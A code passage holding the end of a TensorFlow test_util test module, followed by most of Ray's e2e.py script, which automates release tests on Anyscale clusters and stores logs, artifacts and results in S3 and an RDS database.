test_skip_if_error_should_raise_message_mismatch(self): try: with self.assertRaisesRegex(ValueError, "foo bar"): with test_util.skip_if_error(self, ValueError, "test message"): raise ValueError("foo bar") except unittest.SkipTest: raise RuntimeError("Test is not supposed to skip.") def test_skip_if_error_should_raise_no_message(self): try: with self.assertRaisesRegex(ValueError, ""): with test_util.skip_if_error(self, ValueError, "test message"): raise ValueError() except unittest.SkipTest: raise RuntimeError("Test is not supposed to skip.") # Its own test case to reproduce variable sharing issues which only pop up when # setUp() is overridden and super() is not called. class GraphAndEagerNoVariableSharing(test_util.TensorFlowTestCase): def setUp(self): pass # Intentionally does not call TensorFlowTestCase's super() @test_util.run_in_graph_and_eager_modes def test_no_variable_sharing(self): variable_scope.get_variable( name="step_size", initializer=np.array(1e-5, np.float32), use_resource=True, trainable=False) class GarbageCollectionTest(test_util.TensorFlowTestCase): def test_no_reference_cycle_decorator(self): class ReferenceCycleTest(object): def __init__(inner_self): # pylint: disable=no-self-argument inner_self.assertEqual = self.assertEqual # pylint: disable=invalid-name @test_util.assert_no_garbage_created def test_has_cycle(self): a = [] a.append(a) @test_util.assert_no_garbage_created def test_has_no_cycle(self): pass with self.assertRaises(AssertionError): ReferenceCycleTest().test_has_cycle() ReferenceCycleTest().test_has_no_cycle() @test_util.run_in_graph_and_eager_modes def test_no_leaked_tensor_decorator(self): class LeakedTensorTest(object): def __init__(inner_self): # pylint: disable=no-self-argument inner_self.assertEqual = self.assertEqual # pylint: disable=invalid-name @test_util.assert_no_new_tensors def test_has_leak(self): self.a = constant_op.constant([3.], name="leak") @test_util.assert_no_new_tensors def test_has_no_leak(self): constant_op.constant([3.], name="no-leak") with self.assertRaisesRegex(AssertionError, "Tensors not deallocated"): LeakedTensorTest().test_has_leak() LeakedTensorTest().test_has_no_leak() def test_no_new_objects_decorator(self): class LeakedObjectTest(object): def __init__(inner_self): # pylint: disable=no-self-argument inner_self.assertEqual = self.assertEqual # pylint: disable=invalid-name inner_self.accumulation = [] @test_util.assert_no_new_pyobjects_executing_eagerly def test_has_leak(self): self.accumulation.append([1.]) @test_util.assert_no_new_pyobjects_executing_eagerly def test_has_no_leak(self): self.not_accumulating = [1.] with self.assertRaises(AssertionError): LeakedObjectTest().test_has_leak() LeakedObjectTest().test_has_no_leak() class RunFunctionsEagerlyInV2Test(test_util.TensorFlowTestCase, parameterized.TestCase): @parameterized.named_parameters( [("_RunEagerly", True), ("_RunGraph", False)]) def test_run_functions_eagerly(self, run_eagerly): # pylint: disable=g-wrong-blank-lines results = [] @def_function.function def add_two(x): for _ in range(5): x += 2 results.append(x) return x with test_util.run_functions_eagerly(run_eagerly): add_two(constant_op.constant(2.)) if context.executing_eagerly(): if run_eagerly: self.assertTrue(isinstance(t, ops.EagerTensor) for t in results) else: self.assertTrue(isinstance(t, ops.Tensor) for t in results) else: self.assertTrue(isinstance(t, ops.Tensor) for t in results) if __name__ == "__main__": googletest.main()
e2e.py
""" This is an end to end release test automation script used to kick off periodic release tests, running on Anyscale. The tool leverages app configs and compute templates. Calling this script will run a single release test. Example: python e2e.py --test-config ~/ray/release/xgboost_tests/xgboost_tests.yaml --test-name tune_small The following steps are then performed: 1. It will look up the test tune_small in the file xgboost_tests.yaml 2. It will fetch the specified app config and compute template and register those with anyscale (if they donโ€™t exist yet) 3. It waits until the app config is built 4. It then kicks off the script defined in the run block 5. When the script is finished, it will fetch the latest logs, the full log output, and any artifacts specified in the artifacts block. 6. The full logs and artifacts will be stored in a s3 bucket 7. It will also fetch the json file specified in the run block as results. This is the file where you should write your metrics to. 8. All results are then stored in a database. Specifically it will store the following fields: - Timestamp - Test name - Status (finished, error, timeout, invalid) - Last logs (50 lines) - results (see above) - artifacts (links to s3 files) Then the script exits. If an error occurs at any time, a fail result is written to the database. Writing a new release test -------------------------- Each release test requires the following: 1. It has to be added in a release test yaml file, describing meta information about the test (e.g. name, command to run, timeout) 2. You need an app config yaml 3. You need a compute template yaml 4. You need to define a command to run. This is usually a python script. The command should accept (or ignore) a single optional `--smoke-test` argument. Usually the command should write its result metrics to a json file. The json filename is available in the TEST_OUTPUT_JSON env variable. 5. Add your test in release/.buildkite/build_pipeline.py. The script will have access to these environment variables: "RAY_ADDRESS": os.environ.get("RAY_ADDRESS", "auto") "TEST_OUTPUT_JSON": results_json_filename "IS_SMOKE_TEST": "1" if smoke_test else "0" For an example, take a look at the XGBoost test suite: https://github.com/ray-project/ray/blob/master/release/xgboost_tests/xgboost_tests.yaml These all use the same app configs and similar compute templates. This means that app configs can be re-used across runs and only have to be built ones. App configs and compute templates can interpret environment variables. A notable one is the `RAY_WHEELS` variable which points to the wheels that should be tested (e.g. latest master wheels). You might want to include something like this in your `post_build_cmds`: - pip3 install -U {{ env["RAY_WHEELS"] | default("ray") }} If you want to force rebuilds, consider using something like - echo {{ env["TIMESTAMP"] }} so that your app configs changes each time the script is executed. If you only want to trigger rebuilds once per day, use `DATESTAMP` instead: - echo {{ env["DATESTAMP"] }} Local testing ------------- For local testing, make sure to authenticate with the ray-ossci AWS user (e.g. by setting the respective environment variables obtained from go/aws), or use the `--no-report` command line argument. Also make sure to set these environment variables: - ANYSCALE_CLI_TOKEN (should contain your anyscale credential token) - ANYSCALE_PROJECT (should point to a project ID you have access to) A test can then be run like this: python e2e.py --no-report --test-config ~/ray/release/xgboost_tests/xgboost_tests.yaml --test-name tune_small The `--no-report` option disables storing the results in the DB and artifacts on S3. If you set this option, you do not need access to the ray-ossci AWS user. Using Compilation on Product + App Config Override -------------------------------------------------- For quick iteration when debugging a release test, go/compile-on-product allows you to easily modify and recompile Ray, such that the recompilation happens within an app build step and can benefit from a warm Bazel cache. See go/compile-on-product for more information. After kicking off the app build, you can give the app config ID to this script as an app config override, where the indicated app config will be used instead of the app config given in the test config. E.g., running python e2e.py --no-report --test-config ~/ray/benchmarks/benchmark_tests.yaml --test-name=single_node --app-config-id-override=apt_TBngEXXXrhipMXgexVcrpC9i would run the single_node benchmark test with the apt_TBngEXXXrhipMXgexVcrpC9i app config instead of the app config given in ~/ray/benchmarks/benchmark_tests.yaml. If the build for the app config is still in progress, the script will wait until it completes, same as for a locally defined app config. Running on Head Node vs Running with Anyscale Connect ----------------------------------------------------- By default release tests run their drivers on the head node. Support is being added to run release tests that execute the driver as a subprocess and run the workload on Anyscale product via Anyscale connect. Note that when the driver in the test is a subprocess of releaser, releaser cannot be terminated before the test finishes. Other known feature gaps when running with Anyscale connect: - Kicking off a test or checking progress is not supported. - Downloading / uploading logs and artifacts are unsupported. - Logs from remote may not have finished streaming, before the driver exits. Long running tests ------------------ Long running tests can be kicked off with by adding the --kick-off-only parameters to the e2e script. The status can then be checked with the --check command. Long running test sessions will be terminated after `timeout` seconds, after which the latest result in the TEST_OUTPUT_JSON will be reported. Thus, long running release tests should update this file periodically. There are also two config options to configure behavior. The `time_key` is needed to track the latest update of the TEST_OUTPUT_JSON and should contain a floating point number (usually `time.time()`). The `max_update_delay` then specified the maximum time in seconds that can be passed without an update to the results json. If the output file hasn't been updated in e.g. 60 seconds, this could indicate that the command is stale/frozen, and thus should fail. Release test yaml example ------------------------- - name: example owner: mail: "kai@anyscale.com" # Currently not used slack: "@tune-team" # Currentl not used cluster: app_config: app_config.yaml # Relative to the release test yaml compute_template: tpl_cpu.yaml run: timeout: 600 # in seconds prepare: python wait_cluster.py 4 600 # prepare cmd to run before test script: python workloads/train.py # actual release test command # Only needed for long running test time_key: last_update # Key in the results json indicating current time max_update_delay: 30 # If state hasn't been updated in 30s, terminate # This block is optional artifacts: # Artifact name: location on head node - detailed_output: detailed_output.csv # This block is optional. If present, the contents will be # deep updated for smoke testing smoke_test: cluster: compute_template: tpl_cpu_smoketest.yaml """ # noqa: E501 import argparse import boto3 import collections import copy import datetime import hashlib import jinja2 import json import logging import multiprocessing import os import requests import shutil import subprocess import sys import tempfile import time from queue import Empty from typing import Any, Dict, Optional, Tuple, List import yaml import anyscale import anyscale.conf from anyscale.api import instantiate_api_client from anyscale.controllers.session_controller import SessionController from anyscale.sdk.anyscale_client.sdk import AnyscaleSDK logger = logging.getLogger() logger.setLevel(logging.INFO) handler = logging.StreamHandler(stream=sys.stdout) formatter = logging.Formatter(fmt="[%(levelname)s %(asctime)s] " "%(filename)s: %(lineno)d " "%(message)s") handler.setFormatter(formatter) logger.addHandler(handler) def getenv_default(key: str, default: Optional[str] = None): """Return environment variable with default value""" # If the environment variable is set but "", still return default return os.environ.get(key, None) or default GLOBAL_CONFIG = { "ANYSCALE_USER": getenv_default("ANYSCALE_USER", "release-automation@anyscale.com"), "ANYSCALE_HOST": getenv_default("ANYSCALE_HOST", "https://beta.anyscale.com"), "ANYSCALE_CLI_TOKEN": getenv_default("ANYSCALE_CLI_TOKEN"), "ANYSCALE_CLOUD_ID": getenv_default( "ANYSCALE_CLOUD_ID", "cld_4F7k8814aZzGG8TNUGPKnc"), # cld_4F7k8814aZzGG8TNUGPKnc "ANYSCALE_PROJECT": getenv_default("ANYSCALE_PROJECT", ""), "RAY_VERSION": getenv_default("RAY_VERSION", "2.0.0.dev0"), "RAY_REPO": getenv_default("RAY_REPO", "https://github.com/ray-project/ray.git"), "RAY_BRANCH": getenv_default("RAY_BRANCH", "master"), "RELEASE_AWS_BUCKET": getenv_default("RELEASE_AWS_BUCKET", "ray-release-automation-results"), "RELEASE_AWS_LOCATION": getenv_default("RELEASE_AWS_LOCATION", "dev"), "RELEASE_AWS_DB_NAME": getenv_default("RELEASE_AWS_DB_NAME", "ray_ci"), "RELEASE_AWS_DB_TABLE": getenv_default("RELEASE_AWS_DB_TABLE", "release_test_result"), "RELEASE_AWS_DB_SECRET_ARN": getenv_default( "RELEASE_AWS_DB_SECRET_ARN", "arn:aws:secretsmanager:us-west-2:029272617770:secret:" "rds-db-credentials/cluster-7RB7EYTTBK2EUC3MMTONYRBJLE/ray_ci-MQN2hh", ), "RELEASE_AWS_DB_RESOURCE_ARN": getenv_default( "RELEASE_AWS_DB_RESOURCE_ARN", "arn:aws:rds:us-west-2:029272617770:cluster:ci-reporting", ), "RELEASE_RESULTS_DIR": getenv_default("RELEASE_RESULTS_DIR", "/tmp/ray_release_test_artifacts"), "DATESTAMP": str(datetime.datetime.now().strftime("%Y%m%d")), "TIMESTAMP": str(int(datetime.datetime.now().timestamp())), "EXPIRATION_1D": str((datetime.datetime.now() + datetime.timedelta(days=1)).strftime("%Y-%m-%d")), "EXPIRATION_2D": str((datetime.datetime.now() + datetime.timedelta(days=2)).strftime("%Y-%m-%d")), "EXPIRATION_3D": str((datetime.datetime.now() + datetime.timedelta(days=3)).strftime("%Y-%m-%d")), } REPORT_S = 30 def maybe_fetch_api_token(): if GLOBAL_CONFIG["ANYSCALE_CLI_TOKEN"] is None: print("Missing ANYSCALE_CLI_TOKEN, retrieving from AWS secrets store") # NOTE(simon) This should automatically retrieve # release-automation@anyscale.com's anyscale token GLOBAL_CONFIG["ANYSCALE_CLI_TOKEN"] = boto3.client( "secretsmanager", region_name="us-west-2" ).get_secret_value( SecretId="arn:aws:secretsmanager:us-west-2:029272617770:secret:" "release-automation/" "anyscale-token20210505220406333800000001-BcUuKB")["SecretString"] class PrepareCommandRuntimeError(RuntimeError): pass class ReleaseTestTimeoutError(RuntimeError): pass class SessionTimeoutError(ReleaseTestTimeoutError): pass class FileSyncTimeoutError(ReleaseTestTimeoutError): pass class CommandTimeoutError(ReleaseTestTimeoutError): pass class PrepareCommandTimeoutError(ReleaseTestTimeoutError): pass # e.g., App config failure. class AppConfigBuildFailure(RuntimeError): pass class State: def __init__(self, state: str, timestamp: float, data: Any): self.state = state self.timestamp = timestamp self.data = data sys.path.insert(0, anyscale.ANYSCALE_RAY_DIR) def anyscale_project_url(project_id: str): return f"{GLOBAL_CONFIG['ANYSCALE_HOST']}" \ f"/o/anyscale-internal/projects/{project_id}" \ f"/?tab=session-list" def anyscale_session_url(project_id: str, session_id: str): return f"{GLOBAL_CONFIG['ANYSCALE_HOST']}" \ f"/o/anyscale-internal/projects/{project_id}" \ f"/clusters/{session_id}" def anyscale_compute_tpl_url(compute_tpl_id: str): return f"{GLOBAL_CONFIG['ANYSCALE_HOST']}" \ f"/o/anyscale-internal/configurations/cluster-computes" \ f"/{compute_tpl_id}" def anyscale_app_config_build_url(build_id: str): return f"{GLOBAL_CONFIG['ANYSCALE_HOST']}" \ f"/o/anyscale-internal/configurations/app-config-details" \ f"/{build_id}" def wheel_url(ray_version, git_branch, git_commit): return f"https://s3-us-west-2.amazonaws.com/ray-wheels/" \ f"{git_branch}/{git_commit}/" \ f"ray-{ray_version}-cp37-cp37m-manylinux2014_x86_64.whl" def wheel_exists(ray_version, git_branch, git_commit): url = wheel_url(ray_version, git_branch, git_commit) return requests.head(url).status_code == 200 def get_latest_commits(repo: str, branch: str = "master") -> List[str]: cur = os.getcwd() with tempfile.TemporaryDirectory() as tmpdir: os.chdir(tmpdir) clone_cmd = [ "git", "clone", "--filter=tree:0", "--no-checkout", # "--single-branch", # "--depth=10", f"--branch={branch}", repo, tmpdir, ] log_cmd = [ "git", "log", "-n", "10", "--pretty=format:%H", ] subprocess.check_output(clone_cmd) commits = subprocess.check_output(log_cmd).decode( sys.stdout.encoding).split("\n") os.chdir(cur) return commits def find_ray_wheels(repo: str, branch: str, version: str): url = None commits = get_latest_commits(repo, branch) logger.info(f"Latest 10 commits for branch {branch}: {commits}") for commit in commits: if wheel_exists(version, branch, commit): url = wheel_url(version, branch, commit) os.environ["RAY_WHEELS"] = url os.environ["RAY_COMMIT"] = commit logger.info( f"Found wheels URL for Ray {version}, branch {branch}: " f"{url}") break return url def populate_wheels_sanity_check(commit: Optional[str] = None): if not commit: raise RuntimeError(f"Could not populate wheels sanity check command: " f"Commit hash missing. Got: {commit}") cmd = f"python -c 'import ray; assert ray.__commit__ == \"{commit}\"'" os.environ["RAY_WHEELS_SANITY_CHECK"] = cmd def _check_stop(stop_event: multiprocessing.Event, timeout_type: str): if stop_event.is_set(): if timeout_type == "prepare_command": raise PrepareCommandTimeoutError( "Process timed out in the prepare command stage.") if timeout_type == "command": raise CommandTimeoutError( "Process timed out while running a command.") elif timeout_type == "file_sync": raise FileSyncTimeoutError( "Process timed out while syncing files.") elif timeout_type == "session": raise SessionTimeoutError( "Process timed out while starting a session.") else: assert False, "Unexpected timeout type." def _deep_update(d, u): for k, v in u.items(): if isinstance(v, collections.abc.Mapping): d[k] = _deep_update(d.get(k, {}), v) else: d[k] = v return d def _dict_hash(dt: Dict[Any, Any]) -> str: json_str = json.dumps(dt, sort_keys=True, ensure_ascii=True) sha = hashlib.sha256() sha.update(json_str.encode()) return sha.hexdigest() def _load_config(local_dir: str, config_file: Optional[str]) -> Optional[Dict]: if not config_file: return None config_path = os.path.join(local_dir, config_file) with open(config_path, "rt") as f: # Todo: jinja2 render content = f.read() env = copy.deepcopy(os.environ) env.update(GLOBAL_CONFIG) content = jinja2.Template(content).render(env=env) return yaml.safe_load(content) def has_errored(result: Dict[Any, Any]) -> bool: return result.get("status", "invalid") != "finished" def report_result(test_suite: str, test_name: str, status: str, logs: str, results: Dict[Any, Any], artifacts: Dict[Any, Any], category: str): now = datetime.datetime.utcnow() rds_data_client = boto3.client("rds-data", region_name="us-west-2") schema = GLOBAL_CONFIG["RELEASE_AWS_DB_TABLE"] sql = ( f"INSERT INTO {schema} " f"(created_on, test_suite, test_name, status, last_logs, " f"results, artifacts, category) " f"VALUES (:created_on, :test_suite, :test_name, :status, :last_logs, " f":results, :artifacts, :category)") rds_data_client.execute_statement( database=GLOBAL_CONFIG["RELEASE_AWS_DB_NAME"], parameters=[ { "name": "created_on", "typeHint": "TIMESTAMP", "value": { "stringValue": now.strftime("%Y-%m-%d %H:%M:%S") }, }, { "name": "test_suite", "value": { "stringValue": test_suite } }, { "name": "test_name", "value": { "stringValue": test_name } }, { "name": "status", "value": { "stringValue": status } }, { "name": "last_logs", "value": { "stringValue": logs } }, { "name": "results", "typeHint": "JSON", "value": { "stringValue": json.dumps(results) }, }, { "name": "artifacts", "typeHint": "JSON", "value": { "stringValue": json.dumps(artifacts) }, }, { "name": "category", "value": { "stringValue": category } }, ], secretArn=GLOBAL_CONFIG["RELEASE_AWS_DB_SECRET_ARN"], resourceArn=GLOBAL_CONFIG["RELEASE_AWS_DB_RESOURCE_ARN"], schema=schema, sql=sql, ) def log_results_and_artifacts(result: Dict): results = result.get("results", {}) if results: msg = "Observed the following results:\n\n" for key, val in results.items(): msg += f" {key} = {val}\n" else: msg = "Did not find any results." logger.info(msg) artifacts = result.get("artifacts", {}) if artifacts: msg = "Saved the following artifacts:\n\n" for key, val in artifacts.items(): msg += f" {key} = {val}\n" else: msg = "Did not find any artifacts." logger.info(msg) def _cleanup_session(sdk: AnyscaleSDK, session_id: str): if session_id: # Just trigger a request. No need to wait until session shutdown. sdk.terminate_session( session_id=session_id, terminate_session_options={}) def search_running_session(sdk: AnyscaleSDK, project_id: str, session_name: str) -> Optional[str]: session_id = None logger.info(f"Looking for existing session with name {session_name}") result = sdk.search_sessions( project_id=project_id, sessions_query=dict(name=dict(equals=session_name))) if len(result.results) > 0 and result.results[0].state == "Running": logger.info("Found existing session.") session_id = result.results[0].id return session_id def create_or_find_compute_template( sdk: AnyscaleSDK, project_id: str, compute_tpl: Dict[Any, Any], _repeat: bool = True) -> Tuple[Optional[str], Optional[str]]: compute_tpl_id = None compute_tpl_name = None if compute_tpl: # As of Anyscale 0.4.1, it is an error to use the same compute template # name within the same organization, between different projects. compute_tpl_name = f"{project_id}/compute/{_dict_hash(compute_tpl)}" logger.info(f"Tests uses compute template " f"with name {compute_tpl_name}. Looking up existing " f"templates.") paging_token = None while not compute_tpl_id: result = sdk.search_compute_templates( dict( project_id=project_id, name=dict(equals=compute_tpl_name), include_anonymous=True), paging_token=paging_token) paging_token = result.metadata.next_paging_token for res in result.results: if res.name == compute_tpl_name: compute_tpl_id = res.id logger.info( f"Template already exists with ID {compute_tpl_id}") break if not paging_token: break if not compute_tpl_id: logger.info(f"Compute template not found. " f"Creating with name {compute_tpl_name}.") try: result = sdk.create_compute_template( dict( name=compute_tpl_name, project_id=project_id, config=compute_tpl)) compute_tpl_id = result.result.id except Exception as e: if _repeat: logger.warning( f"Got exception when trying to create compute " f"template: {e}. Sleeping for 10 seconds and then " f"try again once...") time.sleep(10) return create_or_find_compute_template( sdk=sdk, project_id=project_id, compute_tpl=compute_tpl, _repeat=False) raise e logger.info(f"Compute template created with ID {compute_tpl_id}") return compute_tpl_id, compute_tpl_name def create_or_find_app_config( sdk: AnyscaleSDK, project_id: str, app_config: Dict[Any, Any], _repeat: bool = True) -> Tuple[Optional[str], Optional[str]]: app_config_id = None app_config_name = None if app_config: app_config_name = f"{project_id}-{_dict_hash(app_config)}" logger.info(f"Test uses an app config with hash {app_config_name}. " f"Looking up existing app configs with this name.") paging_token = None while not app_config_id: result = sdk.list_app_configs( project_id=project_id, count=50, paging_token=paging_token) paging_token = result.metadata.next_paging_token for res in result.results: if res.name == app_config_name: app_config_id = res.id logger.info( f"App config already exists with ID {app_config_id}") break if not paging_token or app_config_id: break if not app_config_id: logger.info("App config not found. Creating new one.") try: result = sdk.create_app_config( dict( name=app_config_name, project_id=project_id, config_json=app_config)) app_config_id = result.result.id except Exception as e: if _repeat: logger.warning( f"Got exception when trying to create app " f"config: {e}. Sleeping for 10 seconds and then " f"try again once...") time.sleep(10) return create_or_find_app_config( sdk=sdk, project_id=project_id, app_config=app_config, _repeat=False) raise e logger.info(f"App config created with ID {app_config_id}") return app_config_id, app_config_name def install_app_config_packages(app_config: Dict[Any, Any]): os.environ.update(app_config.get("env_vars", {})) packages = app_config["python"]["pip_packages"] for package in packages: subprocess.check_output(["pip", "install", "-U", package], text=True) def install_matching_ray(): wheel = os.environ.get("RAY_WHEELS", None) if not wheel: return assert "manylinux2014_x86_64" in wheel, wheel if sys.platform == "darwin": platform = "macosx_10_15_intel" elif sys.platform == "win32": platform = "win_amd64" else: platform = "manylinux2014_x86_64" wheel = wheel.replace("manylinux2014_x86_64", platform) subprocess.check_output(["pip", "uninstall", "-y", "ray"], text=True) subprocess.check_output(["pip", "install", "-U", wheel], text=True) def wait_for_build_or_raise(sdk: AnyscaleSDK, app_config_id: Optional[str]) -> Optional[str]: if not app_config_id: return None # Fetch build build_id = None last_status = None result = sdk.list_builds(app_config_id) for build in sorted(result.results, key=lambda b: b.created_at): build_id = build.id last_status = build.status if build.status == "failed": continue if build.status == "succeeded": logger.info(f"Link to app config build: " f"{anyscale_app_config_build_url(build_id)}") return build_id if last_status == "failed": raise AppConfigBuildFailure("App config build failed.") if not build_id: raise AppConfigBuildFailure("No build found for app config.") # Build found but not failed/finished yet completed = False start_wait = time.time() next_report = start_wait + REPORT_S logger.info(f"Waiting for build {build_id} to finish...") logger.info(f"Track progress here: " f"{anyscale_app_config_build_url(build_id)}") while not completed: now = time.time() if now > next_report: logger.info(f"... still waiting for build {build_id} to finish " f"({int(now - start_wait)} seconds) ...") next_report = next_report + REPORT_S result = sdk.get_build(build_id) build = result.result if build.status == "failed": raise AppConfigBuildFailure( f"App config build failed. Please see " f"{anyscale_app_config_build_url(build_id)} for details") if build.status == "succeeded": logger.info("Build succeeded.") return build_id completed = build.status not in ["in_progress", "pending"] if completed: raise AppConfigBuildFailure( f"Unknown build status: {build.status}. Please see " f"{anyscale_app_config_build_url(build_id)} for details") time.sleep(1) return build_id def run_job(cluster_name: str, compute_tpl_name: str, cluster_env_name: str, job_name: str, min_workers: str, script: str, script_args: List[str], env_vars: Dict[str, str], autosuspend: int) -> Tuple[int, str]: # Start cluster and job address = f"anyscale://{cluster_name}?cluster_compute={compute_tpl_name}" \ f"&cluster_env={cluster_env_name}&autosuspend={autosuspend}" \ "&&update=True" logger.info(f"Starting job {job_name} with Ray address: {address}") env = copy.deepcopy(os.environ) env.update(GLOBAL_CONFIG) env.update(env_vars) env["RAY_ADDRESS"] = address env["RAY_JOB_NAME"] = job_name env["RAY_RELEASE_MIN_WORKERS"] = str(min_workers) proc = subprocess.Popen( script.split(" ") + script_args, env=env, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True) proc.stdout.reconfigure(line_buffering=True) logs = "" for line in proc.stdout: logs += line sys.stdout.write(line) proc.wait() return proc.returncode, logs def create_and_wait_for_session( sdk: AnyscaleSDK, stop_event: multiprocessing.Event, session_name: str, session_options: Dict[Any, Any], ) -> str: # Create session logger.info(f"Creating session {session_name}") result = sdk.create_session(session_options) session_id = result.result.id # Trigger session start logger.info(f"Starting session {session_name} ({session_id})") session_url = anyscale_session_url( project_id=GLOBAL_CONFIG["ANYSCALE_PROJECT"], session_id=session_id) logger.info(f"Link to session: {session_url}") result = sdk.start_session(session_id, start_session_options={}) sop_id = result.result.id completed = result.result.completed # Wait for session logger.info(f"Waiting for session {session_name}...") start_wait = time.time() next_report = start_wait + REPORT_S while not completed: # Sleep 1 sec before next check. time.sleep(1) session_operation_response = sdk.get_session_operation( sop_id, _request_timeout=30) session_operation = session_operation_response.result completed = session_operation.completed _check_stop(stop_event, "session") now = time.time() if now > next_report: logger.info(f"... still waiting for session {session_name} " f"({int(now - start_wait)} seconds) ...") next_report = next_report + REPORT_S return session_id def run_session_command(sdk: AnyscaleSDK, session_id: str, cmd_to_run: str, result_queue: multiprocessing.Queue, env_vars: Dict[str, str], state_str: str = "CMD_RUN") -> Tuple[str, int]: full_cmd = " ".join(f"{k}={v}" for k, v in env_vars.items()) + " " + cmd_to_run logger.info(f"Running command in session {session_id}: \n" f"{full_cmd}") session_url = anyscale_session_url( project_id=GLOBAL_CONFIG["ANYSCALE_PROJECT"], session_id=session_id) logger.info(f"Link to session: {session_url}") result_queue.put(State(state_str, time.time(), None)) result = sdk.create_session_command( dict(session_id=session_id, shell_command=full_cmd)) scd_id = result.result.id return scd_id, result def wait_for_session_command_to_complete(create_session_command_result, sdk: AnyscaleSDK, scd_id: str, stop_event: multiprocessing.Event, state_str: str = "CMD_RUN"): result = create_session_command_result completed = result.result.finished_at is not None start_wait = time.time() next_report = start_wait + REPORT_S while not completed: # Sleep 1 sec before next check. time.sleep(1) result = sdk.get_session_command(session_command_id=scd_id) completed = result.result.finished_at if state_str == "CMD_RUN": _check_stop(stop_event, "command") elif state_str == "CMD_PREPARE": _check_stop(stop_event, "prepare_command") now = time.time() if now > next_report: logger.info(f"... still waiting for command to finish " f"({int(now - start_wait)} seconds) ...") next_report = next_report + REPORT_S status_code = result.result.status_code runtime = time.time() - start_wait if status_code != 0: if state_str == "CMD_RUN": raise RuntimeError( f"Command returned non-success status: {status_code}") elif state_str == "CMD_PREPARE": raise PrepareCommandRuntimeError( f"Prepare command returned non-success status: {status_code}") return status_code, runtime def get_command_logs(session_controller: SessionController, scd_id: str, lines: int = 50): result = session_controller.api_client.get_execution_logs_api_v2_session_commands_session_command_id_execution_logs_get( # noqa: E501 session_command_id=scd_id, start_line=-1 * lines, end_line=0) return result.result.lines def get_remote_json_content( temp_dir: str, session_name: str, remote_file: Optional[str], session_controller: SessionController, ): if not remote_file: logger.warning("No remote file specified, returning empty dict") return {} local_target_file = os.path.join(temp_dir, ".tmp.json") session_controller.pull( session_name=session_name, source=remote_file, target=local_target_file) with open(local_target_file, "rt") as f: return json.load(f) def get_local_json_content(local_file: Optional[str], ): if not local_file: logger.warning("No local file specified, returning empty dict") return {} with open(local_file, "rt") as f: return json.load(f) def pull_artifacts_and_store_in_cloud( temp_dir: str, logs: str, session_name: str, test_name: str, artifacts: Optional[Dict[Any, Any]], session_controller: SessionController, ): output_log_file = os.path.join(temp_dir, "output.log") with open(output_log_file, "wt") as f: f.write(logs) bucket = GLOBAL_CONFIG["RELEASE_AWS_BUCKET"] location = f"{GLOBAL_CONFIG['RELEASE_AWS_LOCATION']}" \ f"/{session_name}/{test_name}" saved_artifacts = {} s3_client = boto3.client("s3") s3_client.upload_file(output_log_file, bucket, f"{location}/output.log") saved_artifacts["output.log"] = f"s3://{bucket}/{location}/output.log" # Download artifacts if artifacts: for name, remote_file in artifacts.items(): logger.info(f"Downloading artifact `{name}` from " f"{remote_file}") local_target_file = os.path.join(temp_dir, name) session_controller.pull( session_name=session_name, source=remote_file, target=local_target_file) # Upload artifacts to s3 s3_client.upload_file(local_target_file, bucket, f"{location}/{name}") saved_artifacts[name] = f"s3://{bucket}/{location}/{name}" return saved_artifacts def find_session_by_test_name( sdk: AnyscaleSDK, session_controller: SessionController, temp_dir: str, state_json: str, project_id: str, test_name: str, ) -> Optional[Tuple[str, str, Dict[Any, Any]]]: paging_token = None while True: # Will break if paging_token is None after first search result = sdk.search_sessions( project_id=project_id, sessions_query=dict( name=dict(contains=test_name), state_filter=["Running"], paging=dict(count=20, paging_token=paging_token))) for session in result.results: logger.info(f"Found sessions {session.name}") if not session.name.startswith(test_name): continue try: session_state = get_remote_json_content( temp_dir=temp_dir, session_name=session.name, remote_file=state_json, session_controller=session_controller) except Exception as exc: raise RuntimeError(f"Could not get remote json content " f"for session {session.name}") from exc if session_state.get("test_name") == test_name: return session.id, session.name, session_state session_token = result.metadata.next_paging_token if not session_token: return None def get_latest_running_command_id(sdk: AnyscaleSDK, session_id: str ) -> Tuple[Optional[str], Optional[bool]]: scd_id = None paging_token = None success = None while not scd_id: result = sdk.list_session_commands( session_id=session_id, paging_token=paging_token) paging_token = result.metadata.next_paging_token for cmd in result.results: if not scd_id: scd_id = cmd.id completed = cmd.finished_at is not None if completed: if success is None: success = True success = success and cmd.status_code == 0 if not completed: return cmd.id, None return scd_id, success or False def run_test_config( local_dir: str, project_id: str, test_name: str, test_config: Dict[Any, Any], commit_url: str, session_name: str = None, smoke_test: bool = False, no_terminate: bool = False, kick_off_only: bool = False, check_progress: bool = False, upload_artifacts: bool = True, keep_results_dir: bool = False, app_config_id_override: Optional[str] = None, ) -> Dict[Any, Any]: """ Returns: Dict with the following entries: status (str): One of [finished, error, timeout] command_link (str): Link to command (Anyscale web UI) last_logs (str): Last logs (excerpt) to send to owner artifacts (dict): Dict of artifacts Key: Name Value: S3 URL """ # Todo (mid-term): Support other cluster definitions # (not only cluster configs) cluster_config_rel_path = test_config["cluster"].get( "cluster_config", None) cluster_config = _load_config(local_dir, cluster_config_rel_path) app_config_rel_path = test_config["cluster"].get("app_config", None) app_config = _load_config(local_dir, app_config_rel_path) compute_tpl_rel_path = test_config["cluster"].get("compute_template", None) compute_tpl = _load_config(local_dir, compute_tpl_rel_path) stop_event = multiprocessing.Event() result_queue = multiprocessing.Queue() if not session_name: session_name = f"{test_name}_{int(time.time())}" temp_dir = tempfile.mkdtemp() # Result and state files results_json = test_config["run"].get("results", None) if results_json is None: results_json = "/tmp/release_test_out.json" state_json = test_config["run"].get("state", None) if state_json is None: state_json = "/tmp/release_test_state.json" env_vars = { "RAY_ADDRESS": os.environ.get("RAY_ADDRESS", "auto"), "TEST_OUTPUT_JSON": results_json, "TEST_STATE_JSON": state_json, "IS_SMOKE_TEST": "1" if smoke_test else "0", } with open(os.path.join(local_dir, ".anyscale.yaml"), "wt") as f: f.write(f"project_id: {project_id}") os.chdir(local_dir) # Setup interface # Unfortunately, there currently seems to be no great way to # transfer files with the Anyscale SDK. # So we use the session controller instead. sdk = AnyscaleSDK(auth_token=GLOBAL_CONFIG["ANYSCALE_CLI_TOKEN"]) session_controller = SessionController( api_client=instantiate_api_client( cli_token=GLOBAL_CONFIG["ANYSCALE_CLI_TOKEN"], host=GLOBAL_CONFIG["ANYSCALE_HOST"], ), anyscale_api_client=sdk.api_client, ) timeout = test_config["run"].get("timeout", 1800) if "RELEASE_OVERRIDE_TIMEOUT" in os.environ: previous_timeout = timeout timeout = int(os.environ.get("RELEASE_OVERRIDE_TIMEOUT", str(timeout))) logger.warning(f"Release test timeout override: 